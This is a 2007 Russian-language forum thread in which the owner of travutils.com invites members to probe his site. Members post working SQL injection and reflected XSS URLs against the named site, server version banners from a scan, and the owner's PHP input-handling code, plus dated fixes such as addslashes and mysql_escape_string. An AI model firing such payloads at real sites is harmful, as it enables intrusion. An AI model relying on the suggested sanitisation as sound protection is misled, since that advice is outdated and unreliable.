http://travutils.com/

Discussion in 'Проверка на уязвимости' started by anlide, 20 Nov 2007.

  1. anlide

    anlide New Member

    Joined:
    19 Nov 2007
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    Приветствую!

    Проверьте пожалуйста http://travutils.com/ . Ссылку разместил на всех страницах сайта :)
     
  2. Red_Red1

    Red_Red1 Banned

    Joined:
    12 Jan 2007
    Messages:
    246
    Likes Received:
    258
    Reputations:
    83
    Есть скуль иньекция но пока еще не нашел вывод
    http://travutils.com/?s=com7_2006&ida=-4716%20union%20select%201111,1111,3333,4444,5555,6666,7777,8888,9999/*
    Могу добавить что версия мускула вроде пятая, так как реагирует на information_schema.tables
     
    #2 Red_Red1, 20 Nov 2007
    Last edited: 20 Nov 2007
    1 person likes this.
  3. BlackCats

    BlackCats Elder - Старейшина

    Joined:
    1 Feb 2006
    Messages:
    642
    Likes Received:
    630
    Reputations:
    -3
    http://travutils.com/?%22%3E%3Cscript%3Ealert(99)%3C/script%3E
    http://travutils.com/?s=com7_2006&kw=%22%3E%3Cscript%3Ealert(99)%3C/script%3E
    http://travutils.com/?s=cat1&idu=%22%3E%3Cscript%3Ealert(99)%3C/script%3E
    http://travutils.com/?s=cat1&ally=%22%3E%3Cscript%3Ealert(99)%3C/script%3E
    http://travutils.com/index.php?s=cat1&%22%3E%3Cscript%3Ealert(99)%3C/script%3E
    http://travutils.com/index.php?s=cat1&user=%22%3E%3Cscript%3Ealert(99)%3C/script%3E
    http://travutils.com/de/?%22%3E%3Cscript%3Ealert(99)%3C/script%3E
    http://travutils.com/fr/?%22%3E%3Cscript%3Ealert(99)%3C/script%3E
    http://travutils.com/uk/?%22%3E%3Cscript%3Ealert(99)%3C/script%3E
    http://travutils.com/ru/?%22%3E%3Cscript%3Ealert(99)%3C/script%3E
    пути:
    http://travutils.com/?s=cat1&archiv=1'
    //
    http://travutils.com/?s=cat1&archiv=1+order+by+1/*
     
    #3 BlackCats, 20 Nov 2007
    Last edited: 20 Nov 2007
    4 people like this.
  4. Lithium

    Lithium Elder - Старейшина

    Joined:
    31 Oct 2007
    Messages:
    6
    Likes Received:
    21
    Reputations:
    0
    http://travutils.com/p/s/map.php?s=cz1&idv=1'&size=125&t=2&nocache
    http://travutils.com/p/s/map.php?s=cz1&idv=181591&size='&t=2&nocache
    http://travutils.com/p/s/map.php?s=cz1&idu=1'&size=125&t=2&nocache
    http://travutils.com/p/s/map.php?s=cz1&ida=1'&size=125&t=2&nocache
    Стоит на 3306 порту 5.0.32-Debian_7etch1
    SMTP ---- ESMTP Postfix
    SSH-2.0-OpenSSH_4.3p2
    vsFTPd 2.0.5
    Насканил xSpider-ом...Лень было руками загребущими разгребать...
     
  5. anlide

    anlide New Member

    Joined:
    19 Nov 2007
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    sql инъекция, я думаю, невозможна. Ну или по крайней мере бессмысленна. При выполнении любого скрипта работающего с базой сначала выполняется код:
    PHP:
    reset($_GET);
    for(
    $i=0;$i<count($_GET);$i++){
        
    $k=key($_GET);
        
    next($_GET);
        
    $_GET[$k]=addslashes($_GET[$k]);
    }
    reset($_POST);
    for(
    $i=0;$i<count($_POST);$i++){
        
    $k=key($_POST);
        
    next($_POST);
        
    $_POST[$k]=addslashes($_POST[$k]);
    }
    Почти во всех запросах входящие параметры берутся в кавычки, а там где не берутся - там и может быть уязвимость. Но об этом я давно в кусе, и в новой версии сайта уже такого не будет.
    Далее, даже если и добрались до осмысленного sql инъекции - у вас есть право только на чтение (sql пользователь, который работает от сайта). А поскольку на данный момент "все данные для всех" то и угрозы оно никакой не представляет.

    На тему javascript... BlackCats полный зачёт! Спасибо большое!

    Lithium спасибо за дырку в генераторе карты... особенно за вторую ссылку.

    На тему сканирования портов и аналогичных заметных вещей - я бы не советовал чего-то подобного делать, потому что хостинговые админы недавно отбились от крупной DDoS атаки и посему страшно злые...

    ЗЫ. Всем спасибо большое, в новой версии сайта будет защита от всего найденного!
     
  6. anlide

    anlide New Member

    Joined:
    19 Nov 2007
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    Может лучше тестировать http://new.travutils.com/ ? Бо там я чуть-что буду исправлять всё подряд. Вплоть до идеального блеска... я думаю это будет всем интересно. Что скажете?

    http://new.travutils.com/ тут работает кнопка "вход" и всё что дальше от неё, кроме "забыли пароль?". Это на текущий момент.

    ЗЫ. К модераторам - на http://new.travutils.com/ тоже разместить ссылку?
     
  7. Lithium

    Lithium Elder - Старейшина

    Joined:
    31 Oct 2007
    Messages:
    6
    Likes Received:
    21
    Reputations:
    0
    http://new.travutils.com/?login=admin&pass=lalala&antybot=8150025&submit_login="><script>alert()</script>&long=on

    http://new.travutils.com/?login=%22%3E%3Cscript%3Ealert%28%29%3C%2Fscript%3E&pass1=lalala&email=%3Cscript%3Ealert%28%29%3C%3Fscript%3E&acept=on&antybot=8150025&submit_register=%D0%9F%D1%80%D0%BE%D0%B4%D0%BE%D0%BB%D0%B6%D0%B8%D1%82%D1%8C
     
    #7 Lithium, 20 Nov 2007
    Last edited: 20 Nov 2007
  8. Lithium

    Lithium Elder - Старейшина

    Joined:
    31 Oct 2007
    Messages:
    6
    Likes Received:
    21
    Reputations:
    0
    Странно блин...Инклуд...http://new.travutils.com/?w=s...
     
  9. anlide

    anlide New Member

    Joined:
    19 Nov 2007
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    Сейчас это нормально. Алгоритм распарсивания url я уже прицепил к новому сайту, а наполнять содержимым ещё нет. Ибо логины надо сначала осилить.

    Дыру с языками заделал :) спасибо большое! Вот код, составления строки с новым языком (чтобы легче искать дыру было):
    PHP:
            if($_SERVER['QUERY_STRING']!=''){
                
    $qstr='/?';
                
    reset($_GET);
                for(
    $j=0;$j<count($_GET);$j++){
                    
    $c=current($_GET);
                    
    $k=key($_GET);
                    
    next($_GET);
                    
    $c=explode('"'$c);$c=$c[1];
                    
    $k=explode('"'$k);$k=$k[1];
                    
    $qstr.=$k;
                    if(
    $c!='')$qstr.='='.$c;
                    if(
    $j!=count($_GET)-1)$qstr.='&amp;';
                }
            }else{
                
    $qstr='';
            }
            for(
    $i=1;$i<=count($ll->a);$i++){
                print(
    '<td id="p3" rowspan=2><a href="'.$home.$ll->a[$i].$qstr.'"><img alt="'.$ll->a[$i].'" class="leng" src="'.up.'flag/'.$ll->a[$i].'.gif"></a></td>');
            }
     
  10. anlide

    anlide New Member

    Joined:
    19 Nov 2007
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    Lithium на тему скана портов - незнаю. Не сильно в этом разбираюсь. Но то что админы в последнее время злые - это 100%

    BlackCats, всё кроме "путей" на основном сайте исправил, это был тот же глюк что нашёл чуть позже Lithium на новом сайте, только сейчас разобрался что это одно и тоже.

    Ещё раз спасибо всем за поиски дыр.
     
  11. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
    error_reporting(0); не помогает?

    P.S. Скуля:
    Code:
    http://travutils.com/?s=cat1&archiv=1&idv=-1+union+select+1,VERSION(),3,4,5/*
    XSS:
    Code:
    http://travutils.com/?s=cat1&archiv=1&kw="><script>alert()</script>
    Это было первым, что я просмотрел, поэтому скорее всего - это ещё не всё.
     
    #11 NOmeR1, 21 Nov 2007
    Last edited: 21 Nov 2007
  12. v1ru$

    v1ru$ Elder - Старейшина

    Joined:
    17 Mar 2007
    Messages:
    272
    Likes Received:
    196
    Reputations:
    17
    Code:
    http://travutils.com/ru/?s=cz13&idu=%22%3E%3Cscript%3Ealert()%3C/script%3E
    
    В каждом поле xss
    Code:
    http://new.travutils.com/?login=1
    
     
    #12 v1ru$, 21 Nov 2007
    Last edited: 21 Nov 2007
  13. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
    Чел, у тя полно XSS, попробуй это:
    PHP:
    $_GET array_map("htmlspecialchars"$_GET);
     
    $_POST array_map("htmlspecialchars"$_POST);
     
  14. anlide

    anlide New Member

    Joined:
    19 Nov 2007
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    Это оказалось то что надо! Спасибо большое теперь я не вижу ни одного xss!!!

    Очень помогает! Спасибо огромное за ещё один совет!

    Да... взлом оценил, но дырку я сегодня не смогу залатать. Очень хочется спать. Завтра как залатаю отпишусь.

    Оффтоп: В правилах раздела написано, что тем кто нашёл уязвимости в сайте - надо начислять какие-то бонусные очки. Это я должен делать? Если да - то как?


    blackybr : нет, не ты
     
    #14 anlide, 22 Nov 2007
    Last edited by a moderator: 22 Nov 2007
  15. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
    PHP:
     $_GET array_map("htmlspecialchars"$_GET); 
     
    $_POST array_map("htmlspecialchars"$_POST);
     
    $_GET array_map("mysql_escape_string"$_GET); 
     
    $_POST array_map("mysql_escape_string"$_POST); 
    Хых, вот - должно от скуль и xss спасти =)
     
  16. anlide

    anlide New Member

    Joined:
    19 Nov 2007
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    Спасибо помогло. Указанную уязвимость mysql инъекции исправил. Вот ещё наводка - на страницах типа http://travutils.com/?s=cat1&vill используется ajax. Может удастся тут что-то сделать? Кроме того календарик тоже на ajax построен.
     
  17. anlide

    anlide New Member

    Joined:
    19 Nov 2007
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    Неужели уязвимостей больше нет?

    А вот такое:

    Задача:
    На http://new.travutils.com/?login есть пользователь "test" известно, что пароль длинной 5 символов, также известно, что в состав пароля входят только цифры [0-9].
    Вопрос:
    Какой пароль этого пользователя?
    Примечание:
    Попробуйте plz перебором взломать :)

    halkfild: это твой сайт, какой смысл брутить учетку?
    и как брут твоей учетки относится к проверке на уязвимости твоего сайта?

    Anlide: Поставил несколько защит от брутфорса, вполне логично, что я хочу увидеть её работу в действии. А если будет тяжело взломать учётки пользователей - то и сайт вцелом будет лучше защищён.
     
    #17 anlide, 27 Nov 2007
    Last edited: 28 Nov 2007
  18. George767

    George767 Elder - Старейшина

    Joined:
    10 Jan 2006
    Messages:
    129
    Likes Received:
    25
    Reputations:
    -1
    Я непонимаю зачем вообще давать знак что сайт написан на php и какие параметры он принимает? Пишем элементарно в .htaccess

    Options +FollowSymlinks All -Indexes
    RewriteEngine on
    RewriteRule ^xxx/([0-9]{1,100})\.html$ xxx/templates/main_template.php?section=$1 [nc]

    //если не в курсе - при запросе xxx/2.html отображается результаты скрипта xxx/templates/main_template.php?section=2

    и все проблемы разом и навсегда отпадают. Дополнительно на входные POST, GET и COOKIE ставишь preg_replace('/[^0-9]+/','',$_POST['xxx']

    //Выкидывать все символы кроме цифр

    Никакой хукер не доберется, защита алмазная!

    Я на всех проектах своих так ставлю.
     
    #18 George767, 2 Dec 2007
    Last edited: 2 Dec 2007
    1 person likes this.
  19. anlide

    anlide New Member

    Joined:
    19 Nov 2007
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    На тему сокрытия php очень интересно, спасибо. Но к сожалению слишком многое придётся для этого переделывать. Но идея канешна супер! Её бы в рамочку перед началом разработки любого сложного сайта :)

    На тему выбрасывания не-цифр из входящих параметров, вот http://travutils.com/?s=ru2&kw=vasa в строке 2 параметра, которые надо обязательно представлять в строчном виде. И второй параметр должен уметь содержать любые utf-8 символы, потому тут приходится действовать "всё разрешено, кроме" а не "всё запрещено, кроме". А при разработке логин/пароль системы одними цифрами ограничится некорректно... хотя да, защита действительно алмазная.
     
  20. George767

    George767 Elder - Старейшина

    Joined:
    10 Jan 2006
    Messages:
    129
    Likes Received:
    25
    Reputations:
    -1
    любые utf-8 символы это опасно. Надо разрешить с десяток символов, букв латиницы и цифры и прописать их в то регулярное выражение. Ничего с посетителем не станет если вы требуете ограниченные символы в логине/пароле. У меня несколько счетов в банках Англии, у них к примеру разрешены только буквы и цифры в веб-интерфейсе доступа к панели управления...

    Одно правило - не доверять сети. Все что потенциально ненужно - запрещать. Только так можно оградить себя от взломов.